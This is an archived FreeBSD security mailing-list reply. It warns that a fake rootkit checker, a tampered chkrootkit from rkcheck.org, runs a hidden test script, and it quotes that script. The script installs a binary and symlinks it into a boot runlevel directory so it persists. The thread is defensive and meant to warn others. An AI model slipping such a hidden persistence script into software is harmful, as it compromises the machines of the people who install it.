Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 25 Feb 2015 21:34:21 +0100
From:      Philip Jocks <pjlists@netzkommune.com>
To:        Joseph Mingrone <jrm@ftfl.ca>
Cc:        freebsd-security@freebsd.org
Subject:   Re: has my 10.1-RELEASE system been compromised
Message-ID:  <4EE57C1F-AB10-4BF1-A193-DB9C75A586FC@netzkommune.com>
In-Reply-To: <86k2z5yc03.fsf@gly.ftfl.ca>
References:  <864mq9zsmm.fsf@gly.ftfl.ca> <54EE2A19.7050108@FreeBSD.org> <86vbipycyc.fsf@gly.ftfl.ca> <1B20A559-59C5-477A-A2F3-9FD7E16C09E8@netzkommune.com> <86k2z5yc03.fsf@gly.ftfl.ca>

next in thread | previous in thread | raw e-mail | index | archive | help

> Am 25.02.2015 um 21:25 schrieb Joseph Mingrone <jrm@ftfl.ca>:
>=20
> Philip Jocks <pjlists@netzkommune.com> writes:
>> are those the only lines they sent you? Weirdly, we got a report like =
this today
>> as well with the first (out of 8) sample line showing the exact time =
stamp
>> (23/Feb/2015:14:53:37 +0100) and the exact query string
>> (/?cmd=3Dinfo&key=3Df8184c819717b6815a8b8037e91c59ef&ip=3D212.97.34.7) =
which makes it
>> a bit strange to be a coincidence. There is a webserver running in a =
jail on the
>> reported IP address, but I can't find any log lines on our side that =
could be
>> related.
>> We asked the email.it folks for details, but haven't heard back from =
them yet.
>>=20
>> Philip
>=20
> Interesting.  Yes, they sent nearly the same line about 8 times with =
the timestamps a
> second or two apart.  What other daemons are you running on that host?
> Something other than the webserver could be compromised.
>=20
> Please share if you hear anything from email.it.
>=20
> Joseph

it felt pretty scammy to me, googling for the "worm" got me to =
rkcheck.org which was registered a few days ago and looks like a =
tampered version of chkrootkit. I hope, nobody installed it anywhere, it =
seems to execute rkcheck/tests/.unit/test.sh which contains=20

#!/bin/bash

cp tests/.unit/test /usr/bin/rrsyncn
chmod +x /usr/bin/rrsyncn
rm -fr /etc/rc2.d/S98rsyncn
ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn
/usr/bin/rrsyncn
exit

That doesn't look like something you'd want on your box...

Cheers,

Philip




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4EE57C1F-AB10-4BF1-A193-DB9C75A586FC>